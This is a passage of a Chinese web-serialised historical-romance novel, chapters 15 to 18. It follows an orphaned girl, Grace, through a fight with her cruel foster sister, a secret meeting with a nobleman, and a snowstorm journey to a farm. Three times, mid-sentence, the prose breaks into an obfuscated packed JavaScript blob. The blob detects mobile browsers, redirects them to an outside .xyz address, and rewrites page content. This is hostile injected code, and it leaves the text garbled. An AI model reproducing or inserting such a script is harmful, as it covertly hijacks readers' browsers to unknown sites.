这个喷嚏打得如此突然，以至于他精心打好的领结都歪到了一边。格蕾丝再也忍不住，放声大笑起来，清脆的笑声在客厅里回荡。 威尔逊夫人紧紧皱着眉看着眼前不成体统的教学，摇了摇头：“两位少爷小姐，请严肃一点……” 威廉一面对威尔逊夫人的出言做手势示意不必再说，另一面看向格蕾丝，相视一笑，悄悄地说道：“看来我们都需要多加练习……” …… 时间如流水一般滑过，因着大雪，威廉几乎很少出门，所以他有大把大把的时间教导格蕾丝的礼仪，格蕾丝也在威廉的教导下迅速得以成长。 但是日子并非一如既往，听说因为小型的雪灾，庄园下有部分农户的家里倒塌，威廉决定去看一看，安抚底下的农户，顺便减免他们来年的耕种和赋税，因此，天一亮他就出发去农庄了。所以，今天格蕾丝的礼仪教导还是由十分严厉教条的威尔逊夫人进行。 在威廉离开后的第三天，雪终于停了。 格蕾丝站在窗台前，望着窗外被皑皑大雪覆盖的庄园，呼出的白气在玻璃上凝结成冰霜，她伸出手把凝结的冰霜划出一道道痕迹。 “格蕾丝小姐，请把你的注意力放在课程上。”威尔逊夫人严厉的声音从身后传来，“一位淑女不该像一个懵懂的孩子一样在窗边发呆。” 格蕾丝收回手指，转身面对这位严厉的礼仪教师。 比起威廉哥哥的教导，其实她更愿意面对这位严厉的礼仪教师。虽然威廉的教导会更轻松，但是他的善意几乎让她相形见绌，也让她的心动摇，在这样下去，她害怕自己失去复仇的强硬的内心。 她的后背挺得笔直，下巴微微抬起，但眼神里藏着不易察觉的疲惫。连续三天的礼仪训练让她的脚踝因长时间穿着硬底鞋而隐隐作痛。 “今天我们要练习行走时的裙摆摆动幅度。”威尔逊夫人拿起一根细长的木尺，“记住，一位真正的淑女走路时裙摆的摆动不能超过这个宽度。” 格蕾丝刚要开口应答，会客厅的门却突然被推开。 玛格丽特像一阵寒风般闯入，她如惯常一般穿着深蓝色的天鹅绒长裙，领口别着一枚红宝石胸针，在烛光下闪烁着刺眼的光芒。 “哦，看看这是谁在练习走路呢。”玛格丽特的声音怀揣着不加掩饰的恶意，“一只瘸腿的乌鸦也想学天鹅跳舞吗？” 威尔逊夫人皱了皱眉，但很快恢复了职业性的表情。“玛格丽特小姐，我们正在进行礼仪课。” “我当然知道。”玛格丽特绕着格蕾丝转了一圈，目光在她脸上的疤痕上停留，“我只是好奇，父亲为什么会认同这个满脸麻子的野种是我们家的人。难道我们家的门槛已经低到连天花病人也能踏入了吗？” 格蕾丝的手指悄悄攥紧了裙摆。 她能感觉到血液在太阳穴跳动，但她不能冲动，至少不是在当前以这样的方式和玛格丽特发生冲突。 “玛格丽特小姐，”威尔逊夫人语气稍显生硬，“请注意您的言辞。” “哎呀，我说错了吗？”玛格丽特咯咯笑着说，“看看她这张脸！谁会相信她是埃斯特家族的血脉？就算你使了诡计爬进这里，你卑贱的血统也注定了你是妓女丢在福利院的杂种！” 会客厅里的女仆们低下头，假装没听见。格蕾丝注意到其中一个小女仆的肩膀在微微发抖，那是在厨房工作会给她留饭的安妮。 “至少我不会像赌徒一样输掉她所有的嫁妆，再摇着尾巴跟那群男人乞求怜悯。”格蕾丝轻声说，声音低得几乎听不见。 玛格丽特猛地转身，“你说什么？” “我说，”格蕾丝抬起头，褐色的眼睛直视玛格丽特，“至少我不会像赌徒一样输掉她所有的嫁妆，再摇着尾巴跟那群男人乞求怜悯。” 会客厅里一片死寂。威尔逊夫人的脸色变得很难看，所有的仆人都低下头弯下脊背，十分想要逃离现场。 玛格丽特的脸涨得通红，随即又变得惨白。“你竟敢污蔑我！你这个卑贱无耻的下人！”说着玛格丽特就要上手扇格蕾丝巴掌。 格蕾丝灵活地躲开了，接着说道：“不知道那群男人能否让你满意呢。” 听到这玛格丽特简直发了疯，她不顾一切地想要抓住格蕾丝，可格蕾丝身形小又动作敏捷，玛格丽特因为长年的束腰和不运动，根本碰不到格蕾丝的边。 于是玛格丽特停下了，她说：“果然是泥潭上来的脏污之人，也不愧我们把你们安排进那个天花病人呆过的房间，果不其然，一个晚上就感染了。不过上帝怎么没把你一起带走呢？只带走了你那个该死的姐姐。命贱的人果然命硬！” 格蕾丝感觉到血液在太阳穴急速跳动，她的声音控制不住地颤抖，“她死的时候才十八岁，全身溃烂得连棺材都不能打开。” “那又怎样？”玛格丽特看着格蕾丝的举动突然笑了，她明白了如何才能让格蕾丝痛苦，于是她继续说道：“像她那样的贱民死了反倒干净。门窗都被封死的感觉好受吗，看着她在你面前死去的感觉好受吗？说实话，我真不明白为什么你还活着，天花怎么没把你的心肝肺都烧穿呢？” 格蕾丝感到有什么东西在胸腔里断裂了。她看见蓓丽躺在病床上的样子，看见她溃烂的手指紧紧攥着自己的手，听见她最后气若游丝地说：“格蕾丝，活下去……” 下一秒，玛格丽特惊叫着向后倒去——格蕾丝扑了上去，把她重重撞倒在地。会客厅里响起一片尖叫，但格蕾丝什么都听不见了。她骑在玛格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603595|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽特身上，拳头像雨点般落下。 “收回你的话！”格蕾丝嘶吼着，一拳打在玛格丽特的肩膀上，"向蓓丽道歉！" 玛格丽特尖叫着试图抓挠格蕾丝的脸，但格蕾丝灵活地躲开了——福利院的十六年教会她的可不止是礼仪。她抓住玛格丽特精心梳理的鬈发，把她的头往地板上撞。 “拦住她！快拦住她！”威尔逊夫人尖叫着。三个女仆冲上来，一个抱住格蕾丝的腰，另外两个试图拉开她的手臂。 混乱中，会客厅的大门被猛地推开。威廉·埃斯特站在门口，黑色大衣上还沾着雪水，脸色比窗外的积雪还要冰冷。 “这是在干什么？”他的声音像刀锋划过冰面。 所有人瞬间静止。格蕾丝喘着粗气从玛格丽特身上爬起来，她的发髻完全散了，裙子的肩带滑落一边，手背上有一道被玛格丽特指甲划出的血痕。 玛格丽特立刻哭了起来。“威廉！她疯了！她突然攻击我！” 威廉的目光从哭泣的玛格丽特移到格蕾丝身上。格蕾丝从未见过他这样的眼神——失望、愤怒，还有某种她读不懂的情绪。 “格蕾丝，”威廉的声音很轻，但每个字都像鞭子抽在她身上，“我离开前是怎么教你的？” 格蕾丝张了张嘴，却发不出声音。她该说什么？说玛格丽特侮辱了死去的蓓丽？说那些疤痕下的旧伤从未真正愈合？说每当她照镜子，看到的不仅是自己的脸，还有蓓丽临终时的模样？ “回你的房间去。”威廉命令道，“没有我的允许，不准踏出房门一步。” 格蕾丝没有辩解。她拢了拢散乱的头发，挺直脊背走向门口。经过威廉身边时，她闻到他身上有雪和血的味道——农庄那边的情况可能比想象的更糟。 就在格蕾丝即将走出门时，威廉突然说：“明天早餐前，我要看到一篇关于淑女品德的文章，不少于两千字。” 格蕾丝的脚步顿了顿，但没有回头。 她沿着走廊走向自己的房间，背后传来玛格丽特夸张的啜泣声和威廉低声的询问。 走廊尽头的阴影里，凯瑟琳·埃斯特静静地站着，手里把玩着一枚象牙发簪。当格蕾丝经过时，凯瑟琳轻声说：“我姐姐有时候确实太过分了，不是吗？” 格蕾丝没有回答。她推开自己卧室的门，发现壁炉里的火已经熄灭了，房间里冷得像冰窖。窗外的天色渐暗，最后一缕阳光照在梳妆台的镜子上，映出她布满疤痕的脸。 她走到窗前，看见威廉骑马返回时留下的蹄印在雪地上蜿蜒，像一条通往黑暗森林的小路。 格蕾丝拉上窗帘，拉开了抽屉，里边压着威廉之前给她字条，她犹豫了片刻，又拉上了抽屉。随后，走到床边从枕头下摸出一本破旧的日记本。翻开其中一页，里面夹着一块褪色的碎布——那是蓓丽最后留给她的东西，一块染着血迹的手帕碎片。 她拿起羽毛笔，在日记本上写道：“威廉今天对我很失望……”笔尖顿了顿，墨水在纸上晕开一个小点，“……但他还不知道玛格丽特做了什么。” 阁楼上传来轻微的响动，像是老鼠在梁木间奔跑。格蕾丝抬起头，若有所思地望向天花板。这栋古老宅邸的每个角落都藏着秘密，而她决定找出其中最黑暗的那个——不管要付出什么代价。 16. 第十六章 过去只是序幕。 ——《暴风雨》 第二天一早，格蕾丝把空白的纸张放在门口，对于威廉让她写检讨的行为，她决定大方地原谅了。 从他进门时候急切的神色来看，底下农庄的情况或许更加复杂，大雪压垮了农户的房子，紧接而来的或许会是更多的人流离失所，疫病的集中爆发或者农民的动乱也不是没有可能，所以目前她懒得和他计较他的行为。 比起这个，她终于有时间静下心来思考子爵的古怪行为。 如果子爵只是想借收养之名接回私生女，那么收养蓓丽一个人就够了，为什么非要再带上她？尤其是在蓓丽死后，子爵仍然坚持承认她的身份，这就更令人费解了。 虽然子爵的同意看上去更像是形势所逼，但她相信，若是子爵不愿意承认她的私生女身份，她的入户怕是要难上许多。当然，子爵或许真的突发善心，但格蕾丝总觉得事情没那么简单。 但是在这座庄园里，她孤立无援，贸然调查只会像无头苍蝇一样乱撞，甚至可能被人抓住把柄。 格蕾丝正沉思着，她的贴身女仆瑞娜突然轻轻敲门。 格蕾丝打开了房门，看到门外的瑞娜手里捧着一封火漆封缄的信件。 “小姐，这是刚刚送来的，上面写着您的名字。” 格蕾丝从瑞娜手上接过信，在指尖触到冰凉纸张的瞬间，心中升起一丝疑惑。 谁会在这寒冷的冬天给她寄信？除了已故的蓓丽和福利院的人，她几乎没有其他相识的人。 她翻过信封，火漆上的纹章并不熟悉。于是她小心地拆开信封，抽出里面的信纸，信上的内容让她感到意外： 亲爱的格蕾丝小姐： 冒昧打扰，希望这封信不会令您感到唐突。近日寒潮侵扰，庄园内不免冷清。若您不介意，诚邀您于明日午后光临寒舍，共赏温室新培育的冬季玫瑰。期待与您畅谈。 您诚挚的，卢卡斯·霍华德 看完后，格蕾丝的眉头微微挑起。卢卡斯？那个在宴会上帮助她，但是言辞轻浮的贵族？ 她记得他。高挑的身材，深邃的眉眼，嘴角总是挂着一抹若有若无的笑意。那么，他为什么会邀请她？而且，这样的邀请在当时简直称得上是大胆，甚至有些不合礼数。 格蕾丝捏着信纸，思绪翻涌。 卢卡斯在宴会上的相助出手不明。他为什么会突然邀请她？究竟是单纯的社交礼节，还是另有所图？ 埃斯特家族以美貌和财富闻名，同时也是无数人觊觎的对象。他邀请她，绝不仅仅是为了赏花。或许……这是一个机会？ 她将信纸轻轻折好，目光落在窗外的雪地上。 如果她想弄清楚子爵的秘密，这肯定是打破现下僵局的机会。卢卡斯作为一个伦敦来的上流贵族，可能知道一些埃斯特家族内的隐情。当然，贸然前往陌生男性的庄园也风险不小，但正如老话所说，危险越高，收益越大。她深吸一口气，做出了决定。 “瑞娜，”她唤来女仆，“帮我准备外出的衣服，我要出门一趟。” 瑞娜显得有些犹豫：“小姐，外面雪很大，而且……您一个人去卢卡斯先生的庄园，恐怕不太合适。” 格蕾丝微微一笑：“没关系，我会带上马车夫和一名男仆，不会有人说什么的。”她顿了顿，又补充道，“如果有人问起，就说我去拜访一位朋友。” 瑞娜见她态度坚决，只好点头退下。格蕾丝换上一件厚实的羊毛斗篷，戴上手套，走出房门。 走廊里静悄悄的，威廉似乎一早就出门处理农庄的事务了，而子爵最近也很少露面。她暗自庆幸，至少不必费心解释自己的行踪。 马车在雪地里缓缓前行，车轮碾过积雪，发出咯吱咯吱的声响。格蕾丝透过车窗望着外面苍白的景色，思绪飘远。卢卡斯的庄园位于城郊，距离子爵的庄园不算太远，但这段路程在风雪中显得格外漫长。 冬日的玫瑰。玫瑰本身栽种不易，更不要说在这样严寒的冬日了，由此看来，卢卡斯的庄园看起来确实十分富有，埃斯特姐妹想要嫁给他也情有可原，就是不知道她们俩要是得知了卢卡斯的私下邀请，面上会露出怎样的精彩神色呢？格蕾丝的思绪一会儿飘到这，一会儿飘得更远。 终于，马车停在一座古朴的庄园前。 与子爵府的恢弘不同，卢卡斯的庄园显得更加随性，花园里的灌木被积雪覆盖，但依稀能看出它们未经修剪的自然形态。一名仆人早已在门口等候，见到格蕾丝下车，恭敬地行礼：“格蕾丝小姐，卢卡斯先生正在客厅等您。” 仆人们显然训练有素，或许是被提前交代过了，就算见到格蕾丝面部的疤痕，也未流露出令人不适的神情。 她跟着仆人穿过走廊，壁炉的火光将走廊映得温暖而明亮。客厅的门敞开着，卢卡斯正站在窗边，听到脚步声，他转过身来，脸上挂着明朗的笑容。 “格蕾丝小姐，真高兴您能来。” 他现下的打扮比格蕾丝宴会那天所见的样子要年轻得许多，从外表上看上去最多只有二十五六岁，深棕色的卷发随意地搭在额前，眼睛里带着一种狡黠的光芒。他穿着休闲的棉毛外套，没有过多装饰，却显得格外精神。 “谢谢您的邀请，卢卡斯先生。”格蕾丝礼貌地回应，同时悄悄打量着他。 “请坐，”他示意她坐在壁炉旁的扶手椅上，“这样的天气出门一定很冷吧？我让人准备了热茶。” 仆人适时地端上茶点，格蕾丝接过茶杯，温热的气息驱散了她指尖的寒意。她决定直接切入主题：“卢卡斯先生，恕我冒昧，但我很好奇您为什么会突然邀请我？” 卢卡斯闻言露出笑意，他靠在椅背上，姿态放松：“不必如此着急，格蕾丝，喝完这杯茶驱一驱寒意，我们再去温室赏玫瑰，相信您会喜欢的。” 客厅一时之间安静了下来，只有壁炉柴火劈里啪啦烧火的声音。 格蕾丝端着手里的茶杯慢慢啜饮。杯子是瓷制的，从遥远的东方运送过来，深受贵族们的喜爱。 这套茶具与格蕾丝在埃斯顿庄园里所见的不同，它漆满了柔和的粉彩，她手中的是薄荷绿色的，卢卡斯手中的是玫瑰粉，与他这个人的个性不太相符，格蕾丝以为他会更喜欢家族纹章款式的。 啜饮完这杯茶水，格蕾丝感到身上的寒意确实消除了不少，卢卡斯意外地是一个贴心的人。 见格蕾丝喝完了茶水，卢卡斯绅士地站起，为格蕾丝指引后花园中温室的方向。 “温室在这边，”他引导她穿过庭院，“今年的冬季玫瑰开得格外好，我想您一定会喜欢。” 温室里温暖如春，与外面的严寒形成鲜明对比。各色玫瑰在玻璃穹顶下绽放，空气中弥漫着淡淡的花香。卢卡斯带着她走到一丛深红色的玫瑰前，轻轻抚过花瓣。“这是‘PolarStar’，只在最寒冷的季节开放。” 格蕾丝注视着那朵花，鲜红的花瓣像浸染了鲜血一般。“很美，但也有些……令人不安。” 卢卡斯笑了。“您果然与众不同。大多数淑女只会称赞它的美丽，而您却看到了更深层的东西。” “或许是因为我见过太多表面的美好背后藏着阴暗。”格蕾丝淡淡地说。 卢卡斯注视着她，目光深邃。“比如子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15605002|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爵大人的善举？” 格蕾丝心头一紧，但面上不露分毫：“我不太明白您的意思。” 格蕾丝心头一跳，但面上不显。“您似乎对子爵很感兴趣。” “不，”他轻轻摇头，“我是对您感兴趣。” 格蕾丝抬起眼，与他对视。“为什么？” “因为您身上有谜团，而我喜欢解谜。”他的声音低沉，带着一丝蛊惑。“比如，您为什么一定要子爵承认您的身份？您明明不是他的私生女。” 格蕾丝的呼吸微微一滞。他知道？还是只是在试探？ “您凭什么这么认为？”她反问。 卢卡斯轻笑一声，从口袋里掏出一张泛黄的纸片，递给她。“凭这个。” 格蕾丝接过纸片，上面是一份陈年的出生记录——蓓丽的名字赫然在列，而母亲一栏写着“阿米莉娅·埃斯特”。 她的手指微微颤抖，果然，那相似的面容和美貌，蓓丽奇差的体质都有了解释。 “这是……？” “蓓丽的生母，是我的姑姑。”卢卡斯的声音很轻，却像惊雷般炸响在格蕾丝耳边。“而您，格蕾丝小姐，您和埃斯特家族毫无血缘关系。那么，子爵为什么要收养您？” “您邀请我来，就是为了告诉我这个？”格蕾丝沉默了片刻说道。 她突然抬起头直视卢卡斯的眼睛：“您又为什么要告诉我这些呢？你的目的是什么？” 卢卡斯靠近一步，声音压得更低。“我想和您合作。” “合作？” “子爵的动机不纯，而埃斯特家族……也有自己的敌人。”他的眼神变得锐利。“我们可以互相帮助。” 格蕾丝深吸一口气。“您想要什么？” “真相。”他微微一笑，“以及，一个盟友。” 就在这时，温室的门突然被推开，一名仆人匆匆走了进来。“少爷，埃斯特家族的马车刚刚到了庄园门口。” 格蕾丝的心跳陡然加速。她一直在想着如何能彻底扳倒埃斯特家族这个庞然大物为蓓丽复仇。现在卢卡斯的话仿佛撕开了一道口子，让她看到了黑暗中的一丝光亮。 “您有证据？”她急切地问。 卢卡斯摇摇头：“暂时没有，但我正在调查。如果您愿意，我们可以合作。” 格蕾丝犹豫了。卢卡斯的话听起来合情合理，但她对他并不了解，无法确定他是否值得信任。然而，眼下她也没有更好的选择。 “我需要时间考虑。”她最终说道。 “当然，”卢卡斯理解地点头，“不过时间可能不多了。子爵最近频繁与一些陌生人会面，我不认为那是什么好事。” 格蕾丝站起身：“谢谢您的提醒，我会留意的。” 卢卡斯送她到门口，临别时突然说道：“对了，如果您想了解更多关于姑姑的事，可以去城里的老教堂找一位叫托马斯的神父。他是当年的见证者之一。” 格蕾丝点点头，登上马车。回程的路上，她的思绪比来时更加纷乱。如果蓓丽真的是子爵表妹的孩子，那么子爵收养她的动机就说得通了。但蓓丽的死又与此有何关联？子爵究竟有没有参与其中？卢卡斯的话是真是假？她需要更多信息。 马车驶入子爵府时，天色已暗。她刚走下马车，瑞娜就匆匆迎上来，脸色苍白：“小姐，您总算回来了！出事了！” “怎么了？”格蕾丝心头一紧。 “威廉先生刚刚带回消息，农庄那边爆发了热病，已经死了好几个人。子爵下令封锁庄园，任何人不得进出！” 格蕾丝愣住了。热病？封锁？这一切发生得太过突然。 17. 第十七章 你们要刚强，不要惧怕。 ——《圣经》 格蕾丝刚想要走进庄园去了解关于底下农庄热病的更多信息，就被子爵府前的男侍从阻拦了去路。 男仆身穿深灰色的统一制服，领口绣着子爵家的家徽，从他的着装外表上看不出任何信息。他面无表情地挡在格蕾丝的面前道：“格蕾丝小姐，根据子爵大人封锁整个庄园的吩咐，您不能进去。” 格蕾丝瞬间皱起了眉头。她一言未发地站在门口与男仆僵持了许久，冬日里的冰冷空气钻进她的鼻腔，让她的大脑此刻地异常清醒。 子爵？不，不会是子爵大人。他目前没有针对她的目的性。跟她结仇的只有子爵夫人、玛格丽特和凯瑟琳。而其中能调动男仆并下令的，一定是子爵夫人。 想明白了这一点，格蕾丝抬起头，直视着男仆的眼睛。“威廉少爷回来了吗？” 男仆摇了摇头，态度依旧十分恭敬，但他的眼神里却透着一丝丝未掩饰住的从上而下的高傲。“威廉少爷已经重新出发去农庄了。” 格蕾丝听闻，转身就走。她的靴子踩在积雪上发出咯吱的声响，每一步都像是踩在了自己的思绪上。 子爵夫人既然有把握让男仆守在这里，怕是已经做好了万全的计策，也发现了她偷跑出庄园的行为。与其留下来与她们作必输的斗争，不如重新出去寻找生机，实现曲线救国。 她快步走向停在庄园大门外的马车，寒风卷着雪花扑在她的脸上，像细小的刀片，剐蹭得她的脸颊生疼。 她的贴身侍女瑞娜小跑着跟在她身后，裙摆也被风吹得翻飞。格蕾丝一把拉开车门，正要跨上去，却听见瑞娜在后面犹豫地喊了一声：“格蕾丝小姐！等等我！” 格蕾丝回头，看见瑞娜咬着嘴唇，手指绞在一起，眼睛里满是挣扎。但最终，她像是下定了决心，快步跑过来，提起裙摆跳上了马车。格蕾丝微微点头，没有多说什么。她钻进车厢，瑞娜紧跟着坐在她对面，双手紧紧抓着膝盖上的布料。 “去农庄。”格蕾丝对车夫说道，声音清晰而坚定。 然而，马车并没有如她预期的那样立刻动起来。她等了几秒，皱起眉头，掀开窗帘向外看去。车夫的位置空空如也，只有几片雪花落在座位上，很快融化成水渍。远处，一个模糊的人影正跌跌撞撞地跑向庄园侧门，显然是车夫逃走了。 格蕾丝的心沉了下去。她看了看天色，灰暗的云层压得很低，雪越下越大，远处的树林已经模糊成一片黑影。如果再不出发，天黑之后在雪地里赶路几乎等同于自杀。 “瑞娜，”她转向侍女，声音冷静得不像话，“你会驾驶马车吗？” 瑞娜的脸色刷地白了。她的嘴唇颤抖着，手指无意识地揪着裙角。“会……会一点，格蕾丝小姐。我以前替父亲送过柴火去镇上。” “好。”格蕾丝果断地推开车门，冷风灌进来，吹散了车厢里最后一丝暖意。“那你我分别驾驶马车，务必要在天黑之前到达农庄。不然你我都要死在这个雪夜里了。” 瑞娜的瞳孔猛地收缩了一下。她的喉咙滚动着，似乎想说什么，但最终只是点了点头，跟着格蕾丝爬出了车厢。雪落在她的睫毛上，很快结成了细小的冰晶。 马儿不安地踏着蹄子，呼出的白气在寒冷的空气中凝结。格蕾丝解开缰绳，踩上驾驶座，手指冻得发僵。瑞娜战战兢兢地爬上另一侧，接过一半的缰绳，动作笨拙却坚决。 “抓紧了。”格蕾丝低声道，猛地一甩缰绳。马儿嘶鸣一声，拉着马车冲了出去。 车轮碾过积雪，发出沉闷的声响。寒风呼啸着从耳边掠过，像无数细小的利刃在飞舞。格蕾丝眯起眼睛，努力辨认着前方的路。道路两旁的树木像黑色的鬼影，在风雪中摇晃。瑞娜紧紧抓着座位边缘，指节发白，嘴唇抿成一条线。 “左转！”格蕾丝喊道，声音几乎被风声吞没。瑞娜慌忙拉动缰绳，马车猛地倾斜，差点滑出道路。格蕾丝用力稳住方向，心脏在胸腔里狂跳。雪越来越大，能见度几乎降到了最低。 “格蕾丝小姐……”瑞娜的声音带着哭腔，“我们会不会……” “不会。”格蕾丝打断她，声音斩钉截铁。“只要沿着这条路一直走，就能到农庄。” 但事实上，她心里也没底。这条路她只走过一次，还是在晴朗的白天。现在，所有的地标都被大雪掩盖，整个世界只剩下白茫茫的一片。马车的速度越来越慢，马儿的体力显然已经到了极限。 突然，马儿发出一声嘶鸣，前蹄高高扬起。格蕾丝差点被甩出去，她死死抓住缰绳，感觉到马车猛地一顿，然后向一侧倾斜。 “怎么了？”瑞娜惊恐地问道。 格蕾丝跳下马车，积雪瞬间没到了她的小腿。她踉跄着走到马前，发现马儿的右前蹄陷进了一个被雪掩盖的坑里。她蹲下身，试图把马蹄拔出来，但坑太深了，她的力气根本不够。 “瑞娜，过来帮忙！”她喊道。 瑞娜跌跌撞撞地跑过来，两人一起用力，终于把马蹄拉了出来。但马儿显然受了伤，走路一瘸一拐的。格蕾丝摸了摸它的脖子，感觉到它在颤抖。 “我们不能再骑马了。”她低声说。 瑞娜的眼泪终于掉了下来，在脸上结成了冰。“那我们怎么办？” 格蕾丝环顾四周，风雪中几乎什么都看不清。她咬了咬牙，“步行。农庄应该不远了。” “可是这么大的雪——” “留在这里也是死。”格蕾丝打断她，从马车上扯下一条毯子，裹在身上。“走吧。” 两人深一脚浅一脚地在雪地里前进。风越来越大，雪片像刀子一样割在脸上。格蕾丝的脚早已失去了知觉，只能机械地向前迈步。瑞娜跟在她身后，呼吸声越来越重。 “格蕾丝小姐……我……我走不动了……”瑞娜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621253|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音微弱得几乎听不见。 格蕾丝回头，看见瑞娜的脸色惨白，嘴唇发紫。她一把抓住瑞娜的手臂，“再坚持一下，很快就到了。” “我真的……不行了……”瑞娜的腿一软，跪倒在雪地里。 格蕾丝蹲下身，用力拍打她的脸。“瑞娜！醒醒！” 瑞娜的眼睛半闭着，呼吸越来越弱。格蕾丝的心跳几乎要冲出胸膛。她抬头四望，突然在风雪中看到了一点微弱的光。 “有人！”她几乎是吼了出来，用尽全身力气把瑞娜背起来，踉踉跄跄地向那点光走去。 每一步都像踩在棉花上，她的视线开始模糊，但光点越来越近。终于，她看清了那是一栋低矮的农舍，窗户里透出温暖的黄色光芒。 她用最后一点力气撞开了门，跌进了屋内。温暖的气息扑面而来，她眼前一黑，和瑞娜一起倒在了地上。 模糊中，她听到一个熟悉的声音惊呼道：“格蕾丝？” 她努力睁开眼，看到威廉震惊的脸。他的身后，几个农妇正手忙脚乱地围上来。格蕾丝的嘴唇动了动，想说什么，但黑暗终于吞噬了她。 在失去意识的最后一刻，她听到威廉焦急地喊道：“快！把她们抬到火炉边！还有，去请医生！” 格蕾丝的意识在黑暗里沉浮，耳边传来断断续续的说话声。她努力地想要睁开眼睛，却发现眼皮重得好似灌了铅一般。身体仿佛被碾碎后又重组，几乎每一寸肌肉都在叫嚣着疼痛。 “她体温还在下降……”一个沙哑的女声说。 “继续用温水擦身。”威廉的声音比平时低沉，还带着平日少见的焦急感：“医生什么时候能到？” “最快也要明早，少爷。这场暴风雪……” 格蕾丝感到一只温热的手掌贴上她的额头，指腹处好像有些茧子，蹭的她有些疼。这是谁的手呢？是福利院里的院长吗？还是蓓丽的手呢？感觉好冷，好久没有睡这么长时间了。 “格蕾丝？”威廉的声音好似近在咫尺，“能听见我说话吗？” 她终于攒足了力气，掀开了沉重的眼皮。模糊的视线里，威廉的脸在油灯下显得格外憔悴，下巴冒出青黑的胡茬，眼睛下方挂着两片阴影。他穿着沾满泥雪的粗布衣服，完全看不出从前贵族少爷的模样。 “农庄……”她的喉咙干涩得像被砂纸磨过，“热病……” 威廉的表情骤然紧绷。他转头对屋里的农妇们说：“请给我们一点空间。” 等木门吱呀一声关上，威廉才压低声音道：“你怎么来了这里？母亲已经下令封锁庄园，你怎么会跑了出来？” 格蕾丝挣扎着撑起上半身，毯子从肩头滑落。她这才发现自己只穿着一件亚麻衬衣，袖口还沾着泥渍。 “我的衣服……” “在火炉边烘着。”威廉的耳尖微微发红，“你的侍女情况比你好些，在隔壁房间休息。” 18. 第十八章 保护弱者，忠于领主，为信仰而战，诚实守信，对抗不义。 ——《骑士誓言》 格蕾丝闻言转头看向了火炉，她的衣服正搭在上边烘烤着，侧边的炉台上架着一口黑黢黢的铁锅，里边咕噜咕噜地冒着热气，气味飘了出来，是豆子和咸肉的味道。 屋子整体低矮昏暗，堆满了干柴和干草，显得很逼仄。墙上开了一扇小窗，高高地透进微弱的阳光，灰尘在空气中缓缓地浮动。 中央有一方跛脚桌子，桌角处堆着几枚干瘪的洋葱和半块黑面包。身下的触感也很熟悉，干燥的，粗糙的，低头一看发现床其实是垫着干草的麻布。 “水。”格蕾丝说着，她的喉咙干涩地几乎要说不出话来了。 威廉转身快步走到了铁锅前，他没有选择倒水，反而盛了一碗汤汁出来。 或许是碗太烫了，烫得他左右手互倒，运送过来的途中“啪”的一声把碗不小心给砸了。 他立马手忙脚乱地又重新盛了一碗，脸上也被急出一层薄薄的汗。不过这一次他的手稳了许多，即便皮肤被烫的有些发红也不肯松手。 他的脸在油灯很憔悴，但是并不损伤他的俊朗，细细的胡茬冒出，认真的时候显得很一本正经。 格蕾丝被威廉严肃端汤的样子给逗笑了。她一咳一顿的笑声让威廉不止是耳尖，连脸也红了起来。他无奈地看了过来，那双翡翠般的绿眼睛在火光下格外明亮。 “别笑了，”威廉低声说，声音里却没有多少责备，“你明知道我不擅长做这些，而且一看到你生病我就……” 他的话没说完，只是平稳地端过汤碗，小心地扶起格蕾丝的后颈，服侍她喝下。 汤汁滋润了格蕾丝灼烧般的喉咙。她注意到威廉的手指上有几道新鲜的伤痕，指甲缝里还残留着泥土。 这位向来注重仪表的子爵长子现在外套皱巴巴的，靴子上沾满泥雪，眼下有明显的青黑。他看起来疲惫憔悴，完全失去了贵族少爷的风范，却因为她的笑声而脸红的样子格外鲜活。 格蕾丝突然心中一动，但很快又被她强行压了下来。她轻轻推开碗，清了清嗓子。 “农庄里的热病怎么样了？”她问道，声音仍然嘶哑。 威廉的表情立刻变了。 他放下碗，有些许犹豫地说道：“实际上……不是热病。” “那是什么？” “暴动。”威廉的声音低沉下去，“大雪压塌了至少二十户农舍，地窖里的存粮不是被雪水泡坏就是被倒塌的房屋掩埋。昨天有三十多个农民拿着农具冲进了庄园的谷仓。” 格蕾丝猛地坐直身体，毛毯从肩上滑落：“有人受伤吗？” “老管家查尔斯被推倒在地，扭伤了脚踝。其他仆人及时关上了内院大门。”威廉揉了揉太阳穴，“我赶到时，他们已经抢走了三袋面粉和两桶腌肉。” “这不可能只是为了一点粮食……”格蕾丝喃喃道。 威廉苦笑：“当然不是。这只是开始。如果情况继续恶化……”他没有说完，但格蕾丝明白他的意思。五年前北方领地的农民起义还历历在目，最终被镇压时死了上百人。 “子爵大人和夫人打算怎么处理？”格蕾丝问道，尽管她几乎能猜到答案。 